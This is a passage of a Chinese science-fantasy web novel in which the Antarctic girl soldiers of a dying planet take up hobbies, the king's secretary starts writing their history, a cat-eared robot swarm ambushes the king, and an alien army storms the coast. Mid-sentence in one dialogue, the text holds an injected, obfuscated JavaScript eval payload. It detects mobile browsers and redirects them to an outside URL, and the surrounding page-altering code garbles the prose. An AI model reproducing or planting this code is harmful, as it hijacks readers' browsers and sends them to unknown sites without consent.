藤萝临行前叮嘱红莲定期到家园堡体检，从缓缓关门的缝隙里观察红莲，共感失去人身的遗憾是女子所不能承受的。 35. 章35南极：兴趣知爱 浴室中央，一方由大理石精心雕琢的浴池静静伫立，池水清澈见底，温热的水汽在空中轻轻缭绕，宛如仙境中的云雾，既朦胧又神秘。池边散落着着晶莹的露珠散发着淡淡的香气，与空气中的水汽、沐浴露的清新完美融合，营造出一种难以言喻的雅致氛围。 此时，一位佳人缓缓步入这片宁静的天地，夜兰身着一袭轻盈透明的丝质睡衣，宛如晨雾中的精灵，步履轻盈，每一步都似乎在空气中留下了淡淡的涟漪。她轻手轻脚地解开睡衣的系带，任由那轻柔的布料滑落在地，留下一抹优雅的剪影。这长到足跟的厚实黑发，曾是她的生长激素失控的后遗症，现在却是让众人羡慕的魅力，她迈入浴池，黑发扩散成一副流动的水墨画，流过饱满标致的高大身躯，肌肤仿佛上好的瓷器，散发着温润的光泽。 水温恰到好处，既不过分灼热，也不失温暖。水波轻抚她的肌肤，仿佛是大自然最温柔的拥抱。她闭上眼，深吸一口气，让这份宁静与舒适渗透到每一个细胞，心灵也随之得到了前所未有的放松。 她轻轻地将双手浸入水中，手指在水中划出一道道细腻的涟漪，仿佛是在与这方小小的天地进行着无声的对话。沐浴完毕，轻轻起身，水珠沿着她优美的身体曲线滑落，留下一串串晶莹的痕迹。她披上柔软的浴巾，走到窗边，望着窗外的业凰科学院街景，心中充满忧思。 “哎呦！” 夜兰没法独自将稠密的长发吹干，自觉笨拙，她感觉每个人都比自己灵巧，于是急匆匆的走出于浴室，正好撞倒别人，急忙伸双臂抱她到怀中，红发少女钻出浴巾，仰头一看。 “夜兰大人？” 高大女子低头观察这个瘦弱的红发少女。 “小江南？” 除非有事实摆在望江南面前，否则她绝不恶意揣测别人，这让她不惧怕夜兰的渗人笑脸，两人初见就有好印象。望江南经红莲安排，跟夜兰一起执行任务后，明白这位备受队员敬畏的高大女子是不应以貌取人的最好证明，内在的她单纯而傻气，乐于助人，外在的眼神和笑脸呈现的恐怖感是因夜兰成长阶段忍受过相当残酷的治疗过程，外界异化了她外在，却从未动摇她内心的良善，正如那朵生长在尸体旁的晶莹白花，明明无毒，却被人误解。 “呜！松松！夜兰大人，我快被你闷死了！” “啊？抱歉。” “看你的头发都垂地了！还是湿的！” 望江南把夜兰拉回浴室，耐心的帮她吹干头发。 “谢谢小江南，我太笨了。” “可是你战斗的时候，很敏捷呀？” “噢，嘶，你这么一说，好像是啊？我一变出长刀，就进入忘我状态了，就像是另一个自己，有时候战役打完，过程都记不清了，写战报就很吃力。” 望江南懂夜兰心中肯定有坚守良善的刚强之气，或许是这股不屈的英雄气，令她化身成在战场上旋舞长刀的烈女子。 “上午的战略会议，红莲姐提出，每位队员得有一种兴趣爱好，免受战争的悲戚影响，活的时候就应开心，哎，夜兰你喜欢做什么呢？” “我爱去图书馆借阅搞笑漫画和笑话大全，参战的时候太紧张，我就回忆那些笑话，能放松身心。” “噢！原来你站在队前，一脸凶神恶煞的怪笑就是在想笑话？” “是啊。” 二人大笑一通，望江南随后说：“我听晴灯博士说你是她的徒弟，你精通治疗椅的相关技术。” “谈不上精通，我的身体想持续长大，晴灯女士教我用治疗模块调整自己的身体参数，这也是我的兴趣之一。” “那太好了，业凰工业科和医学科设计了医疗用的便携机械臂，首都负责制造。” “我看看。” 望江南把设计图发送到夜兰的信息板中，是一具上肢外骨骼，左机械臂是长方体形状的药品存储室，右机械臂是多功能手术设备。可以随时脱下备战，复杂的战场形势没有后方，使医护队员也得随时应战，夜兰看懂这设备就知道望江南的来意。 “那我来带医疗集群吧，设备什么时候交付过来呢？” 望江南查阅了后勤任务排班表，略皱眉头。 “怎么是玉珊瑚负责运输呢？” “噢，中午，紫洋将军来过业凰，怒气汹汹的，说要开展特训演练，往返路线是从家山下的第一工业局横穿内陆到魔鬼塔，特训用时两天，让红莲姐暂时派人接替她的防区。就派玉珊瑚带5000人去了，工业局离首都很近呀。” “没想到过了一天，紫洋将军还记着天烛大人的激将法。” “哈哈哎，多练练是好事呀。” “对！而且玉珊瑚运输首都物资很不寻常，她平时最不乐意管后勤事务，一到首都后勤任务就变主动了。” “哦！为啥呀？” 望江南帮夜兰穿好衬衣和衬裙，看她变出喇叭袖的上衣，喇叭口的长裤，这身黑色队服后转了一圈，黑亮长发环绕女子的英武身姿，二人相视一笑。 “少女情愫吧，哈哈！” 小说的由来 南极点山脉，首都风花白夜宫城地下，山洞基地内，营养剂生产设备移到了左侧空间，原本的孕育罐基地早已拆除，橡树王发布了增加食品供应种类的科研任务，要求可以生产模拟古代蔬菜和肉类口感和营养的食品，这类技术曾在后宫厨艺部门用小型设备实验过，现在希望能批量供应南极各地，科研人员是失业女官和侍女。 山洞右侧的装备制造基地得以向中部扩展，正在安装调试北海岸运来的火箭制造设备和舰船螺旋桨铣床及模具机，科研主管晴灯博士刚完成红莲请求尽快增加防空武器装备的任务，设计并生产了一款防空机器人，简称是自走型防空蟹。 其实就是首都民用的生活垃圾处理机器人，大的接近一辆卡车，小的有一辆摩托车大，外形像一只六足两螯的机械螃蟹，武器化选用小体型，两螯内置了火箭高爆弹舱，可在目标空域产生暴风影响侍灵单位飞行，改造的六个机械足提升了行动效率，移动速度快的像大号蟑螂，螃蟹壳子顶部有自动升起的轻型伞武装支架，作为主要防空火力来源。 科研人员质疑说这民用的机器人能行吗？晴灯当上科研团队一把手后，脾气见涨。 “哎呀我哪有时间研发新武器？正好有民用自走蟹的产能，不用白不用！忙死我了快！你不懂，武器这玩意儿越简单越可靠！哎？啥玩意儿这是？” 晴灯刚把防空武器的设计图划到备案文件库里，信息板屏幕中就跳出一个新的生产任务，她展开文件一看，是医疗外骨骼的设计图。 有人轻拍了一下晴灯的肩膀，她转身一看是漂亮程度惊为天人的少女，小号黑帽下是纯粉色的长发，甜美可爱的脸蛋洋溢着青涩微笑，黑色披肩下的队服和百褶裙被美妙的少女身材撑的曲线清晰，腿型在长筒靴的包覆内显得美感十足，体香带着风族人特有的青春气息。 “哎，是玉珊瑚呀！” “晴灯你又几天没洗澡了？头发乱乱的。” “你先别管我的个人卫生！这是啥！” 晴灯说着，把信息板怼到玉珊瑚胸前。 “这不写着呢？医疗用机械臂，下一页是注射药和外敷药的配方。” “你们还让我搞药品！” “啊？首都不是有治疗椅生产线吗？” “首都自用都不够！药品让天荷的赛博空港想办法！哎？不对！问题是我哪有时间造这玩意儿啊！” “你把设计图往计算机里一输入不就有了？” 晴灯听懵了，她拉玉珊瑚一起坐在主控室显示屏前。 “南极哪有你想的那么先进？这里没有北极AI系统那种逆天算力和控制力，这的零件是专用设备造！一个微小改动就要重造一整套设备！你看看你们业凰，就爱设计的这么复杂，这哪是处理外伤的医疗设备！简直是让人肩扛一座野战医院！” “噗！哈哈！” “你还有心思笑呢！我在跟你说正事！” “那你就简化一下嘛，先生产简易型号呗？” “藤萝还让我负责可移动式圆形防御墙的设计和生产，我？” 玉珊瑚不懂装备研发，起身一个鞠躬，转身就走。 “哎，你去哪？” “你也管不着！反正我三天后来取第一批！” 晴灯无奈，只能集合科研团队，从治疗椅机械臂生产线里，整合出一套半自动的简易医疗外骨骼设计方案，再由计算机写一套操作指南，开启了医疗设备的生产工作。 玉珊瑚迈着轻快的步子，走在前往远处千级台阶之上的王宫的市区主干道上，而王宫正门右侧的王办公室，宫廷内侍官茧刚布置完新型食品的研发团队安排，从山洞基地赶回来，坐在橡树王身后的秘书桌位休息片刻，她扫视了一眼橡树王脚下的原初0元素溶液池，猜测他这样缓慢流血，到底疼不疼。 “王，食品生产线完成了。” “好。” 茧看他目不转睛的盯着电脑屏幕，就凑近一起看，是古代文学，音乐，绘画，游戏的数据库及创作教材，橡树最近持续收购这些电子书，现在将其归类整理，用0元素系统转换成0元素信息板的应用程序，这种文件的工作量很大，他手速飞快的操作着。 “休息一下吧，这是什么，我看你忙了一天。” “好，其实我感觉不到困乏。我想给大家找点乐子，一直在战斗和休整之间循环，长此以往，精神就会萎靡，不是个事啊。” 橡树说完，站起来，伸个懒腰，沿办公室边缘散步，可能因他曾是盲人留下的习惯，他总是摸摸路过的物品，茧想用聊天帮他放松。 “成果就是这些程序么？” “不止如此，我在北极跟晴灯学过0元素程序编程，我创造了一种数字货币，嗯，就叫兴趣币吧。队员下载这些文娱产品，愉悦之余可以用教材自创作品，队员每人每天可以发布一个作品，就是一枚兴趣币，币值高于首都货币，能换些需要的产品和服务。最重要的是，创作这件事能极大提高人的精神热情。、我个人觉得，兴趣才是文明进步的根基，文艺及科学技术的进步，无不是因人贯彻兴趣，投入了极大精力和热情后产生的。” “新型食品也是丰富队员的生活乐趣。” “对，夜星提高人在科研方面的兴趣，有很多资源，不需要我插手了。茧有什么兴趣？” “我的兴趣？让我想想。” 茧扭动转椅，把灰色大辫子拨到身前，一边梳辫子，一边低头看自己的灰色长袍，她把一星队服穿里边了，因为她觉得自己身为重要职员，只有一星太丢人了。 “我最初报名宫廷侍女，是想见见世面，结果因为个子矮，身材又不好，分到了文职，我那时就拼命工作，冰雪女王偶然发现我写的人员编制很好，就升官了，受女王提拔一路干到现在啊。我回想入宫的初衷，可能喜欢观察人和世界吧，在王身边就能了解世界的全貌，我不想干涉世界，太辛苦也太危险了，看看就行，哈哈。” 茧的尬笑显露了心虚，橡树用大方的态度安慰她，还向她提出一个极有诱惑力的兴趣。 “不必这样自贬，你在冰雪女王驾崩时，稳住了首都局势，可以和历史上任意一位杰出文官相媲美。说到历史，我认为很有必要记录夜星末世的历史，我们都会战死，可是，小说或许能流传下去，我来的地球文明的科学有一种说法，叫信息不灭。你写下来总有人能看到传播下去的，你还有机会近距离采访每一位亲历者，让大家奋战的故事活下去吧，茧。” “我？” 于是茧就是本小说的作者，夜星南极王宫的三朝元老，由于橡树王清心寡欲，解雇了大批宫廷职员，使我闲的发慌，担心自己失业。 关于写小说，我只写过工作日志，王权通告，人员编制，项目计划，部门规章这些公文，对小说一窍不通，所幸橡树王的要求极低，记录历史就够了，给了我很高的自由度。所以读者您不能指望我像文学巨匠那样技巧娴熟，文笔精炼，故事引人入胜啥的。如果您期待本书能让您带入主角，大杀四方，收获荣耀和地位，将别人都踩在脚下，享受所有异性的青睐，那我也做不到呀。 因为本书中的每个人都是活生生的人。 我们有自己的身世和追求，即便是敌对的灵能会，也有行事动机，我尽量在疑点出现的时候，写下伏笔，还原每个重要细节，技术可以颠覆现实逻辑，所以还包括了有关夜星科技和装备的讲解。如果您渴望探索未知的异世界，从故事中启发自己的思考，那您找对书了，夜星是个真实存在的星球，有着近万年的历史，各类信息林林总总，共同主导了人类灭亡，我们不过是在最后一刻才清醒，极力挽救文明的殉道者罢了。 这很理想化，可是不为理想献身，又能怎样呢？ 我想宇宙中的所有文明的普通个体，务实的结果仍然悲凉，那就不如搏一搏，单车变摩托！一起来看三十万名以爱为动力的少女究竟怎样迎战绝望吧！ 我真诚的希望，本书能帮您找到自己真正的兴趣，实现真我理想。 请您允许我切换回第三人称，继续这段故事。 茧点点头，接下了写小说的工作，她有点难掩心潮澎湃，害怕成为焦点的她，就习惯性的将对方的注意力转移。 “那橡树王的兴趣呢？” 两人齐声说：“音乐！” 笑声过后，茧一时口快，说了她一直想说的话题。 “橡树王不像古代文献记载的男性，我的意思是，您如果在压抑自己，那大可不必，有很多年轻貌美的待业侍女，她们自愿侍奉您，别人不会有意见，据我所知，200年前，男性南极王有许多妃嫔，依然是众人爱戴的贤君。” 橡树听完，坐回办公桌位置，继续聊天。 “讲讲我的过去吧，我是盲人，其实不太懂两性关系，我有个妹妹，橡子，带我离家出走，那时生活的房间很小，也说过类似的话题。她说男女应该先是人，要了解喜不喜欢对方本人。哥哥，千万别变成恶心的男人，这句话，我记忆犹新。” “明白了，我虽然只见过您一个男生，但您是我见过最尊重人心的。我以后不提侍女的事了。” “感谢理解。” 茧再看宽大黑袍被这位棕发少年穿着，显得有些不合身，明白了橡树设计衣服的印象来源于他妹妹橡子选购的大号衣服，她再细琢磨橡树从没提过恋爱这词，结合一些有关粉发少女的传闻，知道橡树王已然有了意中人。 “我感觉王不太擅长恋爱呐。” “我自己也是这么认为的，茧是女生，能指点一二吗？” “我看看，防空墙哨卡发来了进宫人员名字，您的女主快要到了，我只能说，倾听，理解，倾诉，协作。” “记住了。” 橡树微笑，迅速起身，出了王宫，在石阶上，与玉珊瑚对面相迎。 他为了避免居高临下的印象，细心的走到她的身侧。这对懵懂的男女脸上，各自带着腼腆的笑容，开始了属于他们的私人故事，请读者理解作者没法采访谈恋爱这种隐私，所以就少写，甚至不写。 夜星的很多人有介于恋人和朋友之间的关系，小世界的恋爱足以改变人生，却从未主导人类历史，所以本书着眼于更广义的爱，全世界的爱和良心整体涨落，如何主宰文明兴衰。 关于兴趣货币的通告依靠通信网络，发送到全体队员的0元素信息板中，首都城外的服务局外的阵地设施里，人们开始谈论自己的兴趣。 保守与强势 作者和其他队员一样，十分喜欢夜星的雪景。 开阔深邃的黑夜，不似光照之地那样强迫人接受什么信息，必须做什么事情，而是让人自由自在，体察自身的需求，从这种意义上来说，黑夜总像一位温柔的伴侣，时刻关怀个人的内心。 空寂广袤的雪原，如此一尘不染，仿佛是饱经世俗，仍心怀纯净的少女或少年，有着超越时间和时代的美感，夜空飘来的大雪，就如她或他从天而降，轻抚孤独的灵魂，唤醒我们的真诚，寒风虽冷，但温暖热烈的心让彼此兼爱。 制冰机建造的传统凝胶冰墙下有战壕，是第一层防线，有的队员播放下载的音乐，有的人用信息板作画，后方地面上有一排半圆形的厚实钢墙，是能抵御灵能武器的圆形防御墙埋设完毕，墙后有轻型伞筒机炮和中口径火炮，队员们试吃发放的新型罐装食品，有人说应该烹饪过再吃，再向后是旧围墙和瞭望塔，三圈防线中心的黑色巨型立方体要塞北侧，有一面遮蔽半个服务局的飞艇外壳，使学院免受四面火力覆盖。 阳荷将军在脑中模拟东西南三面受围后的防御手段，在机炮和火炮阻击敌军的基础上，还能适度冲锋打乱敌军攻势，三面防线还有可能得到其他集群的援助，里应外合，最差的情况也能获得首都高墙上的火炮支援。 幽深静谧的夜晚，一位红发如火的女子扶炮伫立，仿佛是古老传说中走出的众神之母，双眼似红宝石一样明亮温情，却带着一抹不为人知的哀思。她的长发轻轻垂落，宛如人们不曾见过的夕阳，闪烁着淡淡的余辉，在夜色中更显超凡脱俗。 她身着一袭剪裁得体的红色上衣，那抹鲜艳的红，在这暗淡的夜色中如同燃烧的火焰，两列金色的扣子镶嵌上衣，闪耀着低调而奢华的光芒，恰似她内心深处那份不为人知的坚韧与高贵，右手轻轻搭住腰间黑剑，姿态端庄而不失温婉，举手投足间流露出一种难以言喻的亲和力，让人不由自主地想要靠近，感受那份来自灵魂深处的慈爱与关怀。 “阳荷大人，我看防御措施已经尽善尽美了。” 留着黑色短发的摩罗副官一脸认真，缓步踏雪，来到阳荷身边，轻扶她的衣袖，柔声说话。阳荷转身，低头注视摩罗，见她依然穿着路肩的齐胸黑色短袍，清瘦的身段和脸孔显得娟秀冷静，就变出黑色的毛领斗篷，为她披上。 “我考虑三天了，再想不到其他布防手段，应该可以了。” “橡树王发布了兴趣程序和通告，联想红莲将军之前在战略会议提出的乐趣说法，阳荷大人，您觉得这对姐弟又要干什么呢？” “苦中作乐或者消解苦痛，乐趣能提升意志的坚韧度，我也赞成。” “我们也需要找到乐趣，您的兴趣是什么呢。” “保护大家。” 阳荷说着，张大左手，仔细看着手掌。 “我的手太小，不够罩住南极，仅能守住属下队员。” “大家都已心满意足，我的意思是，阳荷大人您完全可以考虑个人喜好，比如说。” 摩罗的话说到一半，低头不语。 “比如说？” 短发少女鼓起勇气，抬头以急切的语气说：“比如说情感。” 摩罗说完，面红耳赤的低下头去，阳荷思索许久，才理解了她的话意。 “噢，你是说恋爱吗？我被阳家当接班人培养，后来执掌大权，日思夜想的事全是公事呢。没想过喜欢某人，假如有人来表白，无论是谁，我都会同意的。” 摩罗听完，内心激动，可她转念一想，就略带气愤的问：“真的是谁都行吗？” 阳荷笑着，摸摸她的黑色短发。 “是。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875313|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信大家都是很好的人，只要不损害别人，不触犯我的原则，我很乐意互相依靠。摩罗问这个是想。” 短发少女急忙打断阳荷的思路。 “我看谁敢独占阳荷大人！我们都仰慕您，这样就够了。” “那么，摩罗的兴趣呢？” 摩罗抱紧阳荷的右臂，用脸轻揉她的衣袖，久久不语。 一阵清风吹拂二人头发，雪花如絮，渐渐成片扑来，风力随之渐强，吹的她俩露出整个面部，阳荷抬手挡面，远望一潮雪浪袭来，抱摩罗入怀，再看视线信息中没显示敌情，正要呼喊不远处的参谋官去检查附近情报，就听一队人员的万里奔腾之声，顷刻间，四万黑衣队员如山崩海啸般冲入服务局的阵地。 在那瞬息万变的刹那，每三千队员组成的纵队犹如一辆超高速列车，风驰电掣，划破众人视野，一条条白线是暴风撕碎雪浪的留下残雪，卷起横贯平原的飓风旋涡，在她们身边狂舞，黑色队服与气流的摩擦，发出低沉而有力的轰鸣，如同远古巨兽的咆哮，宣告着它的到来和离去，每一个细节都透露出紫洋集群四万人的0元素能量场的完美同步。 阵地上，隐约可见服务局的队员们震惊的面容，与外界的疾风骤雨形成鲜明对比，紫洋集群的队员上蹿下跳，像风一样流畅穿梭阵地，偶有一位被障碍物阻挡以致减速的队员，野芹离队将她扶起。 “快跟上，不然又要挨骂了。” 阳荷趁机揪住野芹，问道：“怎么这样训练呢？” “不想被业凰小瞧呗？” 野芹说完，转身一个箭步就冲入队伍，数名队员跟在她身后，阳荷注意到紫洋集群使用了新的三星队服，大檐帽和短款的长袖夹克不变，内穿的黑色软甲在腰后延伸出一条长长的后摆，似乎像黑巴集群的围巾一样能提供更高的运动速度，最惊人的是她们手持双剑，队服是极化了攻击与速度的设计。 下一个飞驰而过的瞬间，时间被少女们的力量压缩，周围的一切都变得缓慢，唯有她们，以一种无法捕捉的近乎傲慢的速度掠过，猖狂冲刺，仿佛是大自然与人类智慧结合的终极产物，挑战速度与距离的极限，带来一股震撼人心的力量与美感。留下风卷残云的轨迹，让观者无不心生敬畏。 风雪重归平静的半小时后，摩罗看阳荷一直望向紫洋集群消失的西方。 “您怎么了？” 精于防守的阳荷非常清楚，盾的防御力要看遇上什么矛，即便刚才阵地火力全开，还是会被紫洋集群轻易突破，这既是紫洋的挑衅，也是将军之间的提醒和忠告。 阳荷抿嘴，再咬住下嘴唇，忧伤的看着摩罗。 “我？也得逼大家改变啊。” 摩罗会心微笑。 “我们绝不需要您威逼，您觉得该怎么做，说就行了。” “装备能等慢慢研发出来，关键还是人，看来队服设计很有效，我们该极化防御力，队员将所有体外0元素变成一件厚实的大衣，我们全员最近就对练测试吧。” 人们都以为自己还有时间，变故却从不等人，所以手段狠辣的人都提前做好最坏的打算。 意外 北海岸瞭望塔报告冰海面涌现数十万侍灵的第一时间，从北方冰海面深处发射的几百条超远程光束就将观察哨塔尽数击毁，黑巴下令四个集群做好战斗准备，五万门中口径火炮盲射散弹覆盖沿岸五公里冰面，同时通知内陆，红莲大惊，立即宣布南极全境进入战备。 驻守首都城墙的御前集群也收到了战备通知，曼达听到敌情紧张到浑身黑亮皮衣紧绷，她一拍大腿，大叫一声。 “不好！橡树王送了玉珊瑚一段路，现在位置应该在第二运输局冰崖西侧，竹桃你赶快出发，务必接他回来！” “遵令。” 这是一位不苟言笑的少女，樱桃形状的黑色短发，萌美的脸蛋不说话时像个洋娃娃，她并腿一踢，左手用力一抬，在耳侧急停，是彰显武人气魄的V手势礼仪。 礼毕，竹桃半蹲后一跃，双臂展开，小臂穿的宽大振袖如同一对蝴蝶翅膀，提供了随高空风力漂浮的升力，她用短暂滞空的时间，定睛观察巨大城墙表面的升降机钢索，还有西部雪山到冰山谷，用不到一秒时间规划好路线，合拢双臂，黑发和衣角一起向上飘升，人就掉下去了。 围观的队员一起向城墙外张望，只见竹桃抓住钢缆下滑了一小段，她侧蹲墙面，立即在墙面上侧跑，一双玉腿在黑色短袍下高速运动，振袖伸展如生双翅，每当身体开始下移，她就在抓钢索借力上跳，竹桃横渡城墙只用时三十秒，精湛的体术让观众无不暗自叫好，再看她接近雪山的崖壁，就从腰后拔出黑亮的大号西瓜刀，猛的向山崖一甩，连甩两支刀后，双腿蹬墙，纵身飞跃。 “太远了！” 有的队员忍不住说出口，墙面与山崖的空中直线距离至少有300米，她们一同看竹桃在高空，极限的空踩了两步，跳向雪山，稳稳路在崖壁上，原来她踩中回旋的双刀，而她一步不停，往冰山谷西侧陡峭山墙疾驰，那是东部雪原的突出部，业凰队员曾在指挥比赛时攀登过那座山崖。 首都城墙上的队员们第一次见识竹桃副官全力施展体术，一起鼓掌的声音并未让曼达感到欣喜，她脑子里在想别的事，敌情来的太蹊跷了，灵能会就好像提前猜中紫洋集群要进行长途训练，家山南坡有机可乘。 体内含0元素的队员是不被任何设备侦测到的，更何况距离半个星球。 用不了两个小时，紫洋集群就能赶回第一工业局，事情不会这么凑巧。 曼达想明白后，放松心情，静等竹桃接南极王回来。 呼啸在冰山周围的风力强度达到14级，竹桃近凭足底0元素能量场不能再在山壁上侧跑，于是她改成像壁虎一样爬行前进，雪花如洪流一般，吹拂少女面容，她用振袖阻挡扑面而来的暴雪，极力看清山下的一团移动雪球。 从南极点山脉向北伸出的这一段冰雪山墙是历代南极王斥资建设的东部屏障，阻止东部雪原可能出现的敌人直接冲向首都，山峰和首都附近山脉形成了近似90度的峡谷，风力在地面附近减轻不少，看似平静的雪地里有数不清的雪包高速蠕动，一个身穿宽大黑袍的橡树被雪包中窜出的白色生物爬满全身，他奋力甩脱几个，又跳来三个，橡树好不容易甩掉右臂上的累赘，怎能再给这些怪物机会！ 他把握这差之毫厘的瞬间，施展不久前学会的一命剑，一剑刺死三个，再用黑剑，贴着自己头发，斩碎包裹他视线的一个，才看清这种生物。 棕色断发随风飘远，雪中的断肢闪烁电火花并冒黑烟，显示它们是种人形机器，头部有一对猫耳形状的天线，脸上只有一双殷红眼球显得诡异恐怖，身体的关节都哑光银色机械结构，其他部位的皮肤是纯白色，皮肤流动的质感很像侍灵的银衣，死掉的机器人内部干瘪，说明它们也是灵能科技的造物，最奇葩的是这怪物有一条自如控制的长尾巴，尾尖的设计是一个巨大针筒，南极阵营将这种机器人名为猫耳尾刺型灵能人偶，简称猫型人偶。 橡树被针筒刺中的部位感觉到持续剧痛，他就这样一边忍耐，一边乱甩全身的灵能人偶，可是无论他怎么甩，身上的人偶怪物越爬越多，几乎将他包成了一个纯白雪球，他只能凭直觉往首都一步一步的挪着，视线显示信息中的0元素存量条只剩一半了。 自己要死了吧，他想。 有个什么东西摔在雪里了，沉重的震感沿着雪面传导到橡树腿上，是新的敌人吗？ 旋转气流叠加刀斩机器的金属碰撞和电流声音，还有一阵陌生的少女体香飘来。 “别乱动！” 橡树感觉有两个极度锋利的巨大刀片环绕自己全身上下，猫型人偶散落的画面中，一位美如娃娃的少女一脸凶相，橡树认出她是竹桃副官，两人正要说话，雪下再次涌动起近千个鼓包，竹桃连忙转身，背对橡树，棕发少年立刻明白竹桃的意思，二人背靠背防守，四周雪面全是鼓包乱窜，他俩感觉天旋地转，不知道更远的平原下面有多少怪物。 橡树从内兜取出信号枪，伸臂正要开枪，竹桃猛揪他的胳膊。 “不能！哎呦！” 武技出众的竹桃能感觉到这些怪物极为聪敏，怪物们可能是别的任务需要执行，处于警戒模式中，所以竹桃一刻都不敢放松，但是橡树的这个轻率举动会照亮天地，必定招惹雪原里的所有猫型人偶一起攻击他俩，而人偶群也确实的抓住竹桃去拉橡树后出现的破绽。 竹桃很及时的一刀割断人偶尾巴，再拔掉针头，伤处的剧痛和麻痹开始急速扩散，她感觉小腿完全不能活动了，于是怒瞪橡树，少年慌忙抱起她，使一堆人偶扑了个空。 橡树往最近的山脉下方猛跑，竹桃在他怀中投掷飞刀，攻击前方雪地的鼓包，飞行的刀锋一次能刮死多只人偶。 “转身！倒着走！” 竹桃扔出双刀，切碎扑来的一批猫型人偶。 “再转身！快跑！” 双刀正好飞回橡树身前，竹桃用0元素能量场控制双刀，回到自己手中，两人就这样重复转身，坚持到了群山脚下，橡树将竹桃举高，竹桃跨过他，发现他后背居然背着两个人偶，竹桃切死人偶，爬到橡树背上，橡树攀爬上山，猫型人偶更擅长爬行，紧追不舍，竹桃单手搂住橡树，一只手投掷黑刀，终于消灭了全部追兵。 山崖中间，风雪呼啸，这对少年少女逃出生天，竹桃从自己腰后掏出信号枪，她通晓战略指挥学，知道这一枪必定彻底打乱南极各集群的战略部署。 一点火星极速升入高空，下一刻，红光照亮大半南极内陆，是银光遍地。 36. 章36南极：叛徒卖命战役 黑夜广袤而深邃，不似光那样有边界，它充斥万事万物，无即真实，黑即本质。 往日延伸到视线尽头的灰白色的冰面上，现在有了点点繁星闪动，那刺破夜空的万千光束，如一场从冰海面升起的壮观流星雨，光束蕴含的能量密度提升到物理极限，不扩散任何热量，以致海风更加凄冷，暴躁的风雪还带来了冰封海面远处的奇异噪声，是灵能科技独有的特征。 数万公里的海岸上，少女们大声呼喊，到处是匆忙的队员乱跑，不少人还未做好战斗准备，得到命令的火炮中队操作1米高的自动装弹机卸掉高爆弹，链条将金黄色的60发子母弹装入中口径火炮台内，队长将火炮射速拨到最大，一推副手队员去取全新炮管，她被推倒踉跄几步跳上装甲运输车的驾驶室，车发动刚挪一厘米，炮弹出膛迸发出的雪浪和狂风就将运输车吓停。 紧接着，数万门火炮组成的南极北海岸远程火力阵线接连开火，天崩地裂，人们失去方位感，只觉得自己身处破碎时空之中，运输车驾驶员们在晃动中查看视线显示信息地图，不能迟疑片刻，车队向后勤营地出发。 爆炸声和地震惊醒了在地下室休假的队员，她一睁眼，猛的坐起来，大喊发射试验导弹，拖醒同屋队员，一起跑上地面就被灵能炸弹掀翻，众人爬起来呼喊再不发射就没机会测试了。 她们连滚带爬到达导弹车边，控制电脑刚开机，队员们就按下发射开关，数百枚高超音速精确制导火箭同时升空，队员们抱着电脑在无数淡蓝色光球爆炸的战场中狂奔，跳入前线战壕，电脑接通近轨卫星的瞬间就失去信号，自动切换地面雷达站数据链，只显示了2秒，沿海敌人数量有20万，雷达花屏，自动切换声波监测及光学监控探头，显示冰面上什么都没有。 “骗鬼呢！天家的电子战太强了！唉！” “啊？你说啥？” 两人正要用意识通信交谈，战壕上方的火炮防御工事就再也承受不住灵能炸弹的饱和轰炸，装弹机被引爆，剧烈爆炸掀翻了周围的所有人，有的队员起来摸摸腰后的白色伞筒漏液了，她坐在地上尝试了两遍开伞都没成功，队长一把提起她，往战壕跑，用意识通知前线队员开伞，战壕内的队员扔掉电脑，怀抱伞筒，将伞筒扔给她们，再跑到附近的机炮支架上安装伞筒。 慌乱或者是因第一批伞筒本身的质量问题，有的人装不上，急的大叫，周围万里战线已经开始发射机炮弹幕，黑色子弹如暴雨覆盖沿岸冰面，战壕下方的备用火炮开始缓缓升起，升到一半停住避免被敌军发现，第二轮炮击在冰面上创造了爆炸尘暴，无数火星和黑雾随风上岸，硝烟味道呛的人们咳嗽不止，刚带好面罩就看到令她们窒息的一幕。 黑烟裹挟了数不清的银色人形生物窜出来，它们有的超高速奔跑，有的急速漂浮，水母脑袋噗嗤噗嗤的蠕动，下方乱动的电线，再加上左右手各持一把银色长刀，样貌令人极为惊骇。大风吹散烟尘，是更多的侍灵大军，竟然还有蒲公英型半身侍灵贴地飞行，它们急速升空，岸防的数万挺伞筒机炮射出的弹幕，在此等军势前就像小水枪，侍灵没有自我意识，也就无惧死亡，冰冷攻势不带一丝敌意和杀意，只是为了抹除人类。 强风副官带精锐队员组成冲锋队形，撑起一面面黑伞，如同一队滑冰舞者，沿岸横扫敌军的突出部，还挨了己方队员的机炮误伤，退回前线阵地，大声加意识通信下令全员开伞，准备近战，她们在北极时期，已经有了丰富的近战经验。 后方的机炮阵线刚得到战壕和运输车送来的伞筒补充，但难题不仅是地面大军，空中也有数十万半截侍灵，那些怪物就像一片悬吊高空的尸体，即便是想象力最丰富的古人也没见过这种地狱景象，光束子弹和炸弹，以及不知道什么东西发射的强大光束把战场搅得的天翻地覆，队员们一会儿射天，一会射地，汗珠和急躁的心情让她们觉得人类肯定完了。 强风副官双手紧紧粉色的双马尾长发，高呼冲锋，刚跳出战壕，却烈风副官抱倒。 “你干什么！” “西面侧翼的龙葵集群撤了！我们即将陷入包围，贝比将军让我们从雪牢关撤往内陆！” 以上仅是战役开始不到一分钟的情况，情报用有线和无线方式发送到海岸西角的造船厂基地附近，岸防指挥部的大帐内，黑巴瞪了一眼金钟副官，而她敬礼离开，追随龙葵集群从此地撤往家山。 “算了，指望不上那种货色，伞筒都配发给队员们了吗？” 一位参谋官上前一步，说：“回黑巴将军，两个集群，共31250人，已做好万全准备，海岸西角还在我们控制之中。不过山顶家园堡的藤萝副官报告，冰面敌军沿我部展开包围趋势，有二十万，在这，这和这。” 黑巴拨动黑色短发，秀美脸庞的表情严肃，观察参谋官在电子地图上指出敌军位置。 “又想困住我，传我命令，全员组成一体化冲锋队形，我要横扫海岸，打残敌人的先头部队！” 另一位参谋官半伸胳膊，阻拦黑巴已离座位的身体。 “西角失守，龙葵集群只知道逃，家山难保！” 